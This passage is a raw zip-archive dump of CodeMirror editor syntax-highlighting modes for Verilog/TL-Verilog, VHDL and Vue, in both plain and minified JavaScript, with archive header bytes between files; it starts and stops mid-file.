  // Returns a style specific to the scope at the given indentation column.
  // Type is one of: "indent", "scope-ident",
"before-scope-ident".
  function tlvScopeStyle(state, indentation, type) {
    // Begin scope.
    var depth = indentation / tlvIndentUnit;  // TODO: Pass this in
instead.
    return "tlv-" + state.tlvIndentationStyle[depth] +
"-" + type;
  }

  // Return true if the next thing in the stream is an identifier with a
mnemonic.
  function tlvIdentNext(stream) {
    var match;
    return (match = stream.match(tlvIdentMatch, false)) &&
match[2].length > 0;
  }

  CodeMirror.defineMIME("text/x-tlv", {
    name: "verilog",

    hooks: {

      electricInput: false,


      // Return undefined for verilog tokenizing, or style for TLV token
(null not used).
      // Standard CM styles are used for most formatting, but some
TL-Verilog-specific highlighting
      // can be enabled with the definition of cm-tlv-* styles, including
highlighting for:
      //   - M4 tokens
      //   - TLV scope indentation
      //   - Statement delimitation (enabled by tlvTrackStatements)
      token: function(stream, state) {
        var style = undefined;
        var match;  // Return value of pattern matches.

        // Set highlighting mode based on code region (TLV or SV).
        if (stream.sol() && ! state.tlvInBlockComment) {
          // Process region.
          if (stream.peek() == '\\') {
            style = "def";
            stream.skipToEnd();
            if (stream.string.match(/\\SV/)) {
              state.tlvCodeActive = false;
            } else if (stream.string.match(/\\TLV/)){
              state.tlvCodeActive = true;
            }
          }
          // Correct indentation in the face of a line prefix char.
          if (state.tlvCodeActive && stream.pos == 0 &&
              (state.indented == 0) && (match =
stream.match(tlvLineIndentationMatch, false))) {
            state.indented = match[0].length;
          }

          // Compute indentation state:
          //   o Auto indentation on next line
          //   o Indentation scope styles
          var indented = state.indented;
          var depth = indented / tlvIndentUnit;
          if (depth <= state.tlvIndentationStyle.length) {
            // not deeper than current scope

            var blankline = stream.string.length == indented;
            var chPos = depth * tlvIndentUnit;
            if (chPos < stream.string.length) {
              var bodyString = stream.string.slice(chPos);
              var ch = bodyString[0];
              if (tlvScopePrefixChars[ch] && ((match =
bodyString.match(tlvIdentMatch)) &&
                  tlvIdentifierStyle[match[1]])) {
                // This line begins scope.
                // Next line gets indented one level.
                indented += tlvIndentUnit;
                // Style the next level of indentation (except non-region
keyword identifiers,
                //   which are statements themselves)
                if (!(ch == "\\" && chPos > 0)) {
                  state.tlvIndentationStyle[depth] =
tlvScopePrefixChars[ch];
                  if (tlvTrackStatements) {state.statementComment = false;}
                  depth++;
                }
              }
            }
            // Clear out deeper indentation levels unless line is blank.
            if (!blankline) {
              while (state.tlvIndentationStyle.length > depth) {
                state.tlvIndentationStyle.pop();
              }
            }
          }
          // Set next level of indentation.
          state.tlvNextIndent = indented;
        }

        if (state.tlvCodeActive) {
          // Highlight as TLV.

          var beginStatement = false;
          if (tlvTrackStatements) {
            // This starts a statement if the position is at the scope
level
            // and we're not within a statement leading comment.
            beginStatement =
                   (stream.peek() != " ") &&   // not a
space
                   (style === undefined) &&    // not a region
identifier
                   !state.tlvInBlockComment && // not in block
comment
                   //!stream.match(tlvCommentMatch, false) && //
not comment start
                   (stream.column() == state.tlvIndentationStyle.length *
tlvIndentUnit);  // at scope level
            if (beginStatement) {
              if (state.statementComment) {
                // statement already started by comment
                beginStatement = false;
              }
              state.statementComment =
                   stream.match(tlvCommentMatch, false); // comment start
            }
          }

          var match;
          if (style !== undefined) {
            // Region line.
            style += " " + tlvScopeStyle(state, 0,
"scope-ident")
          } else if (((stream.pos / tlvIndentUnit) <
state.tlvIndentationStyle.length) &&
                     (match = stream.match(stream.sol() ?
tlvFirstLevelIndentMatch : /^   /))) {
            // Indentation
            style = // make this style distinct from the previous one to
prevent
                    // codemirror from combining spans
                    "tlv-indent-" + (((stream.pos % 2) == 0) ?
"even" : "odd") +
                    // and style it
                    " " + tlvScopeStyle(state, stream.pos -
tlvIndentUnit, "indent");
            // Style the line prefix character.
            if (match[0].charAt(0) == "!") {
              style += " tlv-alert-line-prefix";
            }
            // Place a class before a scope identifier.
            if (tlvIdentNext(stream)) {
              style += " " + tlvScopeStyle(state, stream.pos,
"before-scope-ident");
            }
          } else if (state.tlvInBlockComment) {
            // In a block comment.
            if (stream.match(/^.*?\*\//)) {
              // Exit block comment.
              state.tlvInBlockComment = false;
              if (tlvTrackStatements && !stream.eol()) {
                // Anything after comment is assumed to be real statement
content.
                state.statementComment = false;
              }
            } else {
              stream.skipToEnd();
            }
            style = "comment";
          } else if ((match = stream.match(tlvCommentMatch)) &&
!state.tlvInBlockComment) {
            // Start comment.
            if (match[0] == "//") {
              // Line comment.
              stream.skipToEnd();
            } else {
              // Block comment.
              state.tlvInBlockComment = true;
            }
            style = "comment";
          } else if (match = stream.match(tlvIdentMatch)) {
            // looks like an identifier (or identifier prefix)
            var prefix = match[1];
            var mnemonic = match[2];
            if (// is identifier prefix
                tlvIdentifierStyle.hasOwnProperty(prefix) &&
                // has mnemonic or we're at the end of the line (maybe
it hasn't been typed yet)
                (mnemonic.length > 0 || stream.eol())) {
              style = tlvIdentifierStyle[prefix];
              if (stream.column() == state.indented) {
                // Begin scope.
                style += " " + tlvScopeStyle(state,
stream.column(), "scope-ident")
              }
            } else {
              // Just swallow one character and try again.
              // This enables subsequent identifier match with preceding
symbol character, which
              //   is legal within a statement.  (Eg, !$reset).  It also
enables detection of
              //   comment start with preceding symbols.
              stream.backUp(stream.current().length - 1);
              style = "tlv-default";
            }
          } else if (stream.match(/^\t+/)) {
            // Highlight tabs, which are illegal.
            style = "tlv-tab";
          } else if (stream.match(/^[\[\]{}\(\);\:]+/)) {
            // [:], (), {}, ;.
            style = "meta";
          } else if (match = stream.match(/^[mM]4([\+_])?[\w\d_]*/)) {
            // m4 pre proc
            style = (match[1] == "+") ? "tlv-m4-plus" :
"tlv-m4";
          } else if (stream.match(/^ +/)){
            // Skip over spaces.
            if (stream.eol()) {
              // Trailing spaces.
              style = "error";
            } else {
              // Non-trailing spaces.
              style = "tlv-default";
            }
          } else if (stream.match(/^[\w\d_]+/)) {
            // alpha-numeric token.
            style = "number";
          } else {
            // Eat the next char w/ no formatting.
            stream.next();
            style = "tlv-default";
          }
          if (beginStatement) {
            style += " tlv-statement";
          }
        } else {
          if (stream.match(/^[mM]4([\w\d_]*)/)) {
            // m4 pre proc
            style = "tlv-m4";
          }
        }
        return style;
      },

      indent: function(state) {
        return (state.tlvCodeActive == true) ? state.tlvNextIndent : -1;
      },

      startState: function(state) {
        state.tlvIndentationStyle = [];  // Styles to use for each level of
indentation.
        state.tlvCodeActive = true;  // True when we're in a TLV
region (and at beginning of file).
        state.tlvNextIndent = -1;    // The number of spaces to autoindent
the next line if tlvCodeActive.
        state.tlvInBlockComment = false;  // True inside /**/ comment.
        if (tlvTrackStatements) {
          state.statementComment = false;  // True inside a
statement's header comment.
        }
      }

    }
  });
});
PKP��[E��BK#K#&codemirror/mode/verilog/verilog.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a,b,c){var
d=b/f;return"tlv-"+a.tlvIndentationStyle[d]+"-"+c}function
c(a){var
b;return(b=a.match(g,!1))&&b[2].length>0}a.defineMode("verilog",(function(b,c){function
d(a){for(var b={},c=a.split("
"),d=0;d<c.length;++d)b[c[d]]=!0;return b}function e(a,b){var
c,d=a.peek();if(s[d]&&0!=(c=s[d](a,b)))return
c;if(s.tokenBase&&0!=(c=s.tokenBase(a,b)))return
c;if(/[,;:\.]/.test(d))return l=a.next(),null;if(v.test(d))return
l=a.next(),"bracket";if("`"==d)return
a.next(),a.eatWhile(/[\w\$_]/)?"def":null;if("$"==d)return
a.next(),a.eatWhile(/[\w\$_]/)?"meta":null;if("#"==d)return
a.next(),a.eatWhile(/[\d_.]/),"def";if('"'==d)return
a.next(),b.tokenize=f(d),b.tokenize(a,b);if("/"==d){if(a.next(),a.eat("*"))return
b.tokenize=g,g(a,b);if(a.eat("/"))return
a.skipToEnd(),"comment";a.backUp(1)}if(a.match(B)||a.match(x)||a.match(y)||a.match(z)||a.match(A)||a.match(w)||a.match(B))return"number";if(a.eatWhile(u))return"meta";if(a.eatWhile(/[\w\$_]/)){var
e=a.current();return
t[e]?(F[e]&&(l="newblock"),I[e]&&(l="newstatement"),m=e,"keyword"):"variable"}return
a.next(),null}function f(a){return function(b,c){for(var
d,f=!1,g=!1;null!=(d=b.next());){if(d==a&&!f){g=!0;break}f=!f&&"\\"==d}return(g||!f&&!r)&&(c.tokenize=e),"string"}}function
g(a,b){for(var
c,d=!1;c=a.next();){if("/"==c&&d){b.tokenize=e;break}d="*"==c}return"comment"}function
h(a,b,c,d,e){this.indented=a,this.column=b,this.type=c,this.align=d,this.prev=e}function
i(a,b,c){var d=a.indented,e=new h(d,b,c,null,a.context);return
a.context=e}function j(a){var
b=a.context.type;return")"!=b&&"]"!=b&&"}"!=b||(a.indented=a.context.indented),a.context=a.context.prev}function
k(a,b){if(a==b)return!0;var c=b.split(";");for(var d in
c)if(a==c[d])return!0;return!1}var
l,m,n=b.indentUnit,o=c.statementIndentUnit||n,p=c.dontAlignCalls,q=c.noIndentKeywords||[],r=c.multiLineStrings,s=c.hooks||{},t=d("accept_on
alias always always_comb always_ff always_latch and assert assign assume
automatic before begin bind bins binsof bit break buf bufif0 bufif1 byte
case casex casez cell chandle checker class clocking cmos config const
constraint context continue cover covergroup coverpoint cross deassign
default defparam design disable dist do edge else end endcase endchecker
endclass endclocking endconfig endfunction endgenerate endgroup
endinterface endmodule endpackage endprimitive endprogram endproperty
endspecify endsequence endtable endtask enum event eventually expect export
extends extern final first_match for force foreach forever fork forkjoin
function generate genvar global highz0 highz1 if iff ifnone ignore_bins
illegal_bins implements implies import incdir include initial inout input
inside instance int integer interconnect interface intersect join join_any
join_none large let liblist library local localparam logic longint
macromodule matches medium modport module nand negedge nettype new nexttime
nmos nor noshowcancelled not notif0 notif1 null or output package packed
parameter pmos posedge primitive priority program property protected pull0
pull1 pulldown pullup pulsestyle_ondetect pulsestyle_onevent pure rand
randc randcase randsequence rcmos real realtime ref reg reject_on release
repeat restrict return rnmos rpmos rtran rtranif0 rtranif1 s_always
s_eventually s_nexttime s_until s_until_with scalared sequence shortint
shortreal showcancelled signed small soft solve specify specparam static
string strong strong0 strong1 struct super supply0 supply1 sync_accept_on
sync_reject_on table tagged task this throughout time timeprecision
timeunit tran tranif0 tranif1 tri tri0 tri1 triand trior trireg type
typedef union unique unique0 unsigned until until_with untyped use uwire
var vectored virtual void wait wait_order wand weak weak0 weak1 while
wildcard wire with within wor xnor
xor"),u=/[\+\-\*\/!~&|^%=?:]/,v=/[\[\]{}()]/,w=/\d[0-9_]*/,x=/\d*\s*'s?d\s*\d[0-9_]*/i,y=/\d*\s*'s?b\s*[xz01][xz01_]*/i,z=/\d*\s*'s?o\s*[xz0-7][xz0-7_]*/i,A=/\d*\s*'s?h\s*[0-9a-fxz?][0-9a-fxz?_]*/i,B=/(\d[\d_]*(\.\d[\d_]*)?E-?[\d_]+)|(\d[\d_]*\.\d[\d_]*)/i,C=/^((\w+)|[)}\]])/,D=/[)}\]]/,E=d("case
checker class clocking config function generate interface module package
primitive program property specify sequence table task"),F={};for(var
G in
E)F[G]="end"+G;F.begin="end",F.casex="endcase",F.casez="endcase",F.do="while",F.fork="join;join_any;join_none",F.covergroup="endgroup";for(var
H in q){var G=q[H];F[G]&&(F[G]=void 0)}var I=d("always
always_comb always_ff always_latch assert assign assume else export for
foreach forever if import initial repeat
while");return{electricInput:(function(){var a=[];for(var b in
F)if(F[b]){var c=F[b].split(";");for(var d in
c)a.push(c[d])}return new
RegExp("[{}()\\[\\]]|("+a.join("|")+")$")})(),startState:function(a){var
b={tokenize:null,context:new
h((a||0)-n,0,"top",!1),indented:0,startOfLine:!0};return
s.startState&&s.startState(b),b},token:function(a,b){var
c=b.context;if(a.sol()&&(null==c.align&&(c.align=!1),b.indented=a.indentation(),b.startOfLine=!0),s.token){var
d=s.token(a,b);if(void 0!==d)return d}if(a.eatSpace())return
null;l=null,m=null;var
d=(b.tokenize||e)(a,b);if("comment"==d||"meta"==d||"variable"==d)return
d;if(null==c.align&&(c.align=!0),l==c.type)j(b);else
if(";"==l&&"statement"==c.type||c.type&&k(m,c.type))for(c=j(b);c&&"statement"==c.type;)c=j(b);else
if("{"==l)i(b,a.column(),"}");else
if("["==l)i(b,a.column(),"]");else
if("("==l)i(b,a.column(),")");else
if(c&&"endcase"==c.type&&":"==l)i(b,a.column(),"statement");else
if("newstatement"==l)i(b,a.column(),"statement");else
if("newblock"==l)if("function"!=m||!c||"statement"!=c.type&&"endgroup"!=c.type)if("task"==m&&c&&"statement"==c.type);else{var
f=F[m];i(b,a.column(),f)}else;return
b.startOfLine=!1,d},indent:function(b,c){if(b.tokenize!=e&&null!=b.tokenize)return
a.Pass;if(s.indent){var d=s.indent(b);if(d>=0)return d}var
f=b.context,g=c&&c.charAt(0);"statement"==f.type&&"}"==g&&(f=f.prev);var
h=!1,i=c.match(C);return
i&&(h=k(i[0],f.type)),"statement"==f.type?f.indented+("{"==g?0:o):D.test(f.type)&&f.align&&!p?f.column+(h?0:1):")"!=f.type||h?f.indented+(h?0:n):f.indented+o},blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:"//",fold:"indent"}})),a.defineMIME("text/x-verilog",{name:"verilog"}),a.defineMIME("text/x-systemverilog",{name:"verilog"});var
d={"|":"link",">":"property",$:"variable",$$:"variable","?$":"qualifier","?*":"qualifier","-":"hr","/":"property","/-":"property","@":"variable-3","@-":"variable-3","@++":"variable-3","@+=":"variable-3","@+=-":"variable-3","@--":"variable-3","@-=":"variable-3","%+":"tag","%-":"tag","%":"tag",">>":"tag","<<":"tag","<>":"tag","#":"tag","^":"attribute","^^":"attribute","^!":"attribute","*":"variable-2","**":"variable-2","\\":"keyword",'"':"comment"},e={"/":"beh-hier",">":"beh-hier","-":"phys-hier","|":"pipe","?":"when","@":"stage","\\":"keyword"},f=3,g=/^([~!@#\$%\^&\*-\+=\?\/\\\|'"<>]+)([\d\w_]*)/,h=/^[!
]  /,i=/^[! ]
*/,j=/^\/[\/\*]/;a.defineMIME("text/x-tlv",{name:"verilog",hooks:{electricInput:!1,token:function(a,k){var
l,m=void
0;if(a.sol()&&!k.tlvInBlockComment){"\\"==a.peek()&&(m="def",a.skipToEnd(),a.string.match(/\\SV/)?k.tlvCodeActive=!1:a.string.match(/\\TLV/)&&(k.tlvCodeActive=!0)),k.tlvCodeActive&&0==a.pos&&0==k.indented&&(l=a.match(i,!1))&&(k.indented=l[0].length);var
n=k.indented,o=n/f;if(o<=k.tlvIndentationStyle.length){var
p=a.string.length==n,q=o*f;if(q<a.string.length){var
r=a.string.slice(q),s=r[0];e[s]&&(l=r.match(g))&&d[l[1]]&&(n+=f,"\\"==s&&q>0||(k.tlvIndentationStyle[o]=e[s],o++))}if(!p)for(;k.tlvIndentationStyle.length>o;)k.tlvIndentationStyle.pop()}k.tlvNextIndent=n}if(k.tlvCodeActive){var
l,t=!1;if(void 0!==m)m+=" "+b(k,0,"scope-ident");else
if(a.pos/f<k.tlvIndentationStyle.length&&(l=a.match(a.sol()?h:/^
 
/)))m="tlv-indent-"+(a.pos%2==0?"even":"odd")+"
"+b(k,a.pos-f,"indent"),"!"==l[0].charAt(0)&&(m+="
tlv-alert-line-prefix"),c(a)&&(m+="
"+b(k,a.pos,"before-scope-ident"));else
if(k.tlvInBlockComment)a.match(/^.*?\*\//)?k.tlvInBlockComment=!1:a.skipToEnd(),m="comment";else
if((l=a.match(j))&&!k.tlvInBlockComment)"//"==l[0]?a.skipToEnd():k.tlvInBlockComment=!0,m="comment";else
if(l=a.match(g)){var
u=l[1],v=l[2];d.hasOwnProperty(u)&&(v.length>0||a.eol())?(m=d[u],a.column()==k.indented&&(m+="
"+b(k,a.column(),"scope-ident"))):(a.backUp(a.current().length-1),m="tlv-default")}else
a.match(/^\t+/)?m="tlv-tab":a.match(/^[\[\]{}\(\);\:]+/)?m="meta":(l=a.match(/^[mM]4([\+_])?[\w\d_]*/))?m="+"==l[1]?"tlv-m4-plus":"tlv-m4":a.match(/^
+/)?m=a.eol()?"error":"tlv-default":a.match(/^[\w\d_]+/)?m="number":(a.next(),m="tlv-default");t&&(m+="
tlv-statement")}else
a.match(/^[mM]4([\w\d_]*)/)&&(m="tlv-m4");return
m},indent:function(a){return
1==a.tlvCodeActive?a.tlvNextIndent:-1},startState:function(a){a.tlvIndentationStyle=[],a.tlvCodeActive=!0,a.tlvNextIndent=-1,a.tlvInBlockComment=!1}}})}));PKP��[�
F�11codemirror/mode/vhdl/vhdl.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Originally written by Alf Nielsen, re-written by Michael Zhou
(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

function words(str) {
  var obj = {}, words = str.split(",");
  for (var i = 0; i < words.length; ++i) {
    var allCaps = words[i].toUpperCase();
    var firstCap = words[i].charAt(0).toUpperCase() + words[i].slice(1);
    obj[words[i]] = true;
    obj[allCaps] = true;
    obj[firstCap] = true;
  }
  return obj;
}

function metaHook(stream) {
  stream.eatWhile(/[\w\$_]/);
  return "meta";
}

CodeMirror.defineMode("vhdl", function(config, parserConfig) {
  var indentUnit = config.indentUnit,
      atoms = parserConfig.atoms || words("null"),
      hooks = parserConfig.hooks || {"`": metaHook,
"$": metaHook},
      multiLineStrings = parserConfig.multiLineStrings;

  var keywords =
words("abs,access,after,alias,all,and,architecture,array,assert,attribute,begin,block,"
+
     
"body,buffer,bus,case,component,configuration,constant,disconnect,downto,else,elsif,end,end
block,end case," +
      "end component,end for,end generate,end if,end loop,end
process,end record,end units,entity,exit,file,for," +
      "function,generate,generic,generic
map,group,guarded,if,impure,in,inertial,inout,is,label,library,linkage,"
+
     
"literal,loop,map,mod,nand,new,next,nor,null,of,on,open,or,others,out,package,package
body,port,port map," +
     
"postponed,procedure,process,pure,range,record,register,reject,rem,report,return,rol,ror,select,severity,signal,"
+
     
"sla,sll,sra,srl,subtype,then,to,transport,type,unaffected,units,until,use,variable,wait,when,while,with,xnor,xor");

  var blockKeywords =
words("architecture,entity,begin,case,port,else,elsif,end,for,function,if");

  var isOperatorChar = /[&|~><!\)\(*#%@+\/=?\:;}{,\.\^\-\[\]]/;
  var curPunc;

  function tokenBase(stream, state) {
    var ch = stream.next();
    if (hooks[ch]) {
      var result = hooks[ch](stream, state);
      if (result !== false) return result;
    }
    if (ch == '"') {
      state.tokenize = tokenString2(ch);
      return state.tokenize(stream, state);
    }
    if (ch == "'") {
      state.tokenize = tokenString(ch);
      return state.tokenize(stream, state);
    }
    if (/[\[\]{}\(\),;\:\.]/.test(ch)) {
      curPunc = ch;
      return null;
    }
    if (/[\d']/.test(ch)) {
      stream.eatWhile(/[\w\.']/);
      return "number";
    }
    if (ch == "-") {
      if (stream.eat("-")) {
        stream.skipToEnd();
        return "comment";
      }
    }
    if (isOperatorChar.test(ch)) {
      stream.eatWhile(isOperatorChar);
      return "operator";
    }
    stream.eatWhile(/[\w\$_]/);
    var cur = stream.current();
    if (keywords.propertyIsEnumerable(cur.toLowerCase())) {
      if (blockKeywords.propertyIsEnumerable(cur)) curPunc =
"newstatement";
      return "keyword";
    }
    if (atoms.propertyIsEnumerable(cur)) return "atom";
    return "variable";
  }

  function tokenString(quote) {
    return function(stream, state) {
      var escaped = false, next, end = false;
      while ((next = stream.next()) != null) {
        if (next == quote && !escaped) {end = true; break;}
        escaped = !escaped && next == "--";
      }
      if (end || !(escaped || multiLineStrings))
        state.tokenize = tokenBase;
      return "string";
    };
  }
  function tokenString2(quote) {
    return function(stream, state) {
      var escaped = false, next, end = false;
      while ((next = stream.next()) != null) {
        if (next == quote && !escaped) {end = true; break;}
        escaped = !escaped && next == "--";
      }
      if (end || !(escaped || multiLineStrings))
        state.tokenize = tokenBase;
      return "string-2";
    };
  }

  function Context(indented, column, type, align, prev) {
    this.indented = indented;
    this.column = column;
    this.type = type;
    this.align = align;
    this.prev = prev;
  }
  function pushContext(state, col, type) {
    return state.context = new Context(state.indented, col, type, null,
state.context);
  }
  function popContext(state) {
    var t = state.context.type;
    if (t == ")" || t == "]" || t == "}")
      state.indented = state.context.indented;
    return state.context = state.context.prev;
  }

  // Interface
  return {
    startState: function(basecolumn) {
      return {
        tokenize: null,
        context: new Context((basecolumn || 0) - indentUnit, 0,
"top", false),
        indented: 0,
        startOfLine: true
      };
    },

    token: function(stream, state) {
      var ctx = state.context;
      if (stream.sol()) {
        if (ctx.align == null) ctx.align = false;
        state.indented = stream.indentation();
        state.startOfLine = true;
      }
      if (stream.eatSpace()) return null;
      curPunc = null;
      var style = (state.tokenize || tokenBase)(stream, state);
      if (style == "comment" || style == "meta") return
style;
      if (ctx.align == null) ctx.align = true;

      if ((curPunc == ";" || curPunc == ":") &&
ctx.type == "statement") popContext(state);
      else if (curPunc == "{") pushContext(state,
stream.column(), "}");
      else if (curPunc == "[") pushContext(state,
stream.column(), "]");
      else if (curPunc == "(") pushContext(state,
stream.column(), ")");
      else if (curPunc == "}") {
        while (ctx.type == "statement") ctx = popContext(state);
        if (ctx.type == "}") ctx = popContext(state);
        while (ctx.type == "statement") ctx = popContext(state);
      }
      else if (curPunc == ctx.type) popContext(state);
      else if (ctx.type == "}" || ctx.type == "top" ||
(ctx.type == "statement" && curPunc ==
"newstatement"))
        pushContext(state, stream.column(), "statement");
      state.startOfLine = false;
      return style;
    },

    indent: function(state, textAfter) {
      if (state.tokenize != tokenBase && state.tokenize != null)
return 0;
      var firstChar = textAfter && textAfter.charAt(0), ctx =
state.context, closing = firstChar == ctx.type;
      if (ctx.type == "statement") return ctx.indented +
(firstChar == "{" ? 0 : indentUnit);
      else if (ctx.align) return ctx.column + (closing ? 0 : 1);
      else return ctx.indented + (closing ? 0 : indentUnit);
    },

    electricChars: "{}"
  };
});

CodeMirror.defineMIME("text/x-vhdl", "vhdl");

});
PKP��[��kZ
codemirror/mode/vhdl/vhdl.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){for(var
b={},c=a.split(","),d=0;d<c.length;++d){var
e=c[d].toUpperCase(),f=c[d].charAt(0).toUpperCase()+c[d].slice(1);b[c[d]]=!0,b[e]=!0,b[f]=!0}return
b}function c(a){return
a.eatWhile(/[\w\$_]/),"meta"}a.defineMode("vhdl",(function(a,d){function
e(a,b){var c=a.next();if(n[c]){var d=n[c](a,b);if(!1!==d)return
d}if('"'==c)return
b.tokenize=g(c),b.tokenize(a,b);if("'"==c)return
b.tokenize=f(c),b.tokenize(a,b);if(/[\[\]{}\(\),;\:\.]/.test(c))return
k=c,null;if(/[\d']/.test(c))return
a.eatWhile(/[\w\.']/),"number";if("-"==c&&a.eat("-"))return
a.skipToEnd(),"comment";if(r.test(c))return
a.eatWhile(r),"operator";a.eatWhile(/[\w\$_]/);var
e=a.current();return
p.propertyIsEnumerable(e.toLowerCase())?(q.propertyIsEnumerable(e)&&(k="newstatement"),"keyword"):m.propertyIsEnumerable(e)?"atom":"variable"}function
f(a){return function(b,c){for(var
d,f=!1,g=!1;null!=(d=b.next());){if(d==a&&!f){g=!0;break}f=!f&&"--"==d}return(g||!f&&!o)&&(c.tokenize=e),"string"}}function
g(a){return function(b,c){for(var
d,f=!1,g=!1;null!=(d=b.next());){if(d==a&&!f){g=!0;break}f=!f&&"--"==d}return(g||!f&&!o)&&(c.tokenize=e),"string-2"}}function
h(a,b,c,d,e){this.indented=a,this.column=b,this.type=c,this.align=d,this.prev=e}function
i(a,b,c){return a.context=new h(a.indented,b,c,null,a.context)}function
j(a){var
b=a.context.type;return")"!=b&&"]"!=b&&"}"!=b||(a.indented=a.context.indented),a.context=a.context.prev}var
k,l=a.indentUnit,m=d.atoms||b("null"),n=d.hooks||{"`":c,$:c},o=d.multiLineStrings,p=b("abs,access,after,alias,all,and,architecture,array,assert,attribute,begin,block,body,buffer,bus,case,component,configuration,constant,disconnect,downto,else,elsif,end,end
block,end case,end component,end for,end generate,end if,end loop,end
process,end record,end
units,entity,exit,file,for,function,generate,generic,generic
map,group,guarded,if,impure,in,inertial,inout,is,label,library,linkage,literal,loop,map,mod,nand,new,next,nor,null,of,on,open,or,others,out,package,package
body,port,port
map,postponed,procedure,process,pure,range,record,register,reject,rem,report,return,rol,ror,select,severity,signal,sla,sll,sra,srl,subtype,then,to,transport,type,unaffected,units,until,use,variable,wait,when,while,with,xnor,xor"),q=b("architecture,entity,begin,case,port,else,elsif,end,for,function,if"),r=/[&|~><!\)\(*#%@+\/=?\:;}{,\.\^\-\[\]]/;return{startState:function(a){return{tokenize:null,context:new
h((a||0)-l,0,"top",!1),indented:0,startOfLine:!0}},token:function(a,b){var
c=b.context;if(a.sol()&&(null==c.align&&(c.align=!1),b.indented=a.indentation(),b.startOfLine=!0),a.eatSpace())return
null;k=null;var
d=(b.tokenize||e)(a,b);if("comment"==d||"meta"==d)return
d;if(null==c.align&&(c.align=!0),";"!=k&&":"!=k||"statement"!=c.type)if("{"==k)i(b,a.column(),"}");else
if("["==k)i(b,a.column(),"]");else
if("("==k)i(b,a.column(),")");else
if("}"==k){for(;"statement"==c.type;)c=j(b);for("}"==c.type&&(c=j(b));"statement"==c.type;)c=j(b)}else
k==c.type?j(b):("}"==c.type||"top"==c.type||"statement"==c.type&&"newstatement"==k)&&i(b,a.column(),"statement");else
j(b);return
b.startOfLine=!1,d},indent:function(a,b){if(a.tokenize!=e&&null!=a.tokenize)return
0;var
c=b&&b.charAt(0),d=a.context,f=c==d.type;return"statement"==d.type?d.indented+("{"==c?0:l):d.align?d.column+(f?0:1):d.indented+(f?0:l)},electricChars:"{}"}})),a.defineMIME("text/x-vhdl","vhdl")}));PKP��[�-�EEcodemirror/mode/vue/vue.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function (mod) {
  "use strict";
  if (typeof exports === "object" && typeof module ===
"object") {// CommonJS
    mod(require("../../lib/codemirror"),
        require("../../addon/mode/overlay"),
        require("../xml/xml"),
        require("../javascript/javascript"),
        require("../coffeescript/coffeescript"),
        require("../css/css"),
        require("../sass/sass"),
        require("../stylus/stylus"),
        require("../pug/pug"),
        require("../handlebars/handlebars"));
  } else if (typeof define === "function" && define.amd)
{ // AMD
    define(["../../lib/codemirror",
            "../../addon/mode/overlay",
            "../xml/xml",
            "../javascript/javascript",
            "../coffeescript/coffeescript",
            "../css/css",
            "../sass/sass",
            "../stylus/stylus",
            "../pug/pug",
            "../handlebars/handlebars"], mod);
  } else { // Plain browser env
    mod(CodeMirror);
  }
})(function (CodeMirror) {
  var tagLanguages = {
    script: [
      ["lang", /coffee(script)?/, "coffeescript"],
      ["type",
/^(?:text|application)\/(?:x-)?coffee(?:script)?$/,
"coffeescript"],
      ["lang", /^babel$/, "javascript"],
      ["type", /^text\/babel$/, "javascript"],
      ["type", /^text\/ecmascript-\d+$/, "javascript"]
    ],
    style: [
      ["lang", /^stylus$/i, "stylus"],
      ["lang", /^sass$/i, "sass"],
      ["lang", /^less$/i, "text/x-less"],
      ["lang", /^scss$/i, "text/x-scss"],
      ["type", /^(text\/)?(x-)?styl(us)?$/i, "stylus"],
      ["type", /^text\/sass/i, "sass"],
      ["type", /^(text\/)?(x-)?scss$/i, "text/x-scss"],
      ["type", /^(text\/)?(x-)?less$/i, "text/x-less"]
    ],
    template: [
      ["lang", /^vue-template$/i, "vue"],
      ["lang", /^pug$/i, "pug"],
      ["lang", /^handlebars$/i, "handlebars"],
      ["type", /^(text\/)?(x-)?pug$/i, "pug"],
      ["type", /^text\/x-handlebars-template$/i,
"handlebars"],
      [null, null, "vue-template"]
    ]
  };

  CodeMirror.defineMode("vue-template", function (config,
parserConfig) {
    var mustacheOverlay = {
      token: function (stream) {
        if (stream.match(/^\{\{.*?\}\}/)) return "meta mustache";
        while (stream.next() && !stream.match("{{",
false)) {}
        return null;
      }
    };
    return CodeMirror.overlayMode(CodeMirror.getMode(config,
parserConfig.backdrop || "text/html"), mustacheOverlay);
  });

  CodeMirror.defineMode("vue", function (config) {
    return CodeMirror.getMode(config, {name: "htmlmixed", tags:
tagLanguages});
  }, "htmlmixed", "xml", "javascript",
"coffeescript", "css", "sass",
"stylus", "pug", "handlebars");

  CodeMirror.defineMIME("script/x-vue", "vue");
  CodeMirror.defineMIME("text/x-vue", "vue");
});
PKP��[O�ɟyycodemirror/mode/vue/vue.min.jsnu�[���!(function(a){"use
strict";"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../../addon/mode/overlay"),require("../xml/xml"),require("../javascript/javascript"),require("../coffeescript/coffeescript"),require("../css/css"),require("../sass/sass"),require("../stylus/stylus"),require("../pug/pug"),require("../handlebars/handlebars")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../../addon/mode/overlay","../xml/xml","../javascript/javascript","../coffeescript/coffeescript","../css/css","../sass/sass","../stylus/stylus","../pug/pug","../handlebars/handlebars"],a):a(CodeMirror)})((function(a){var
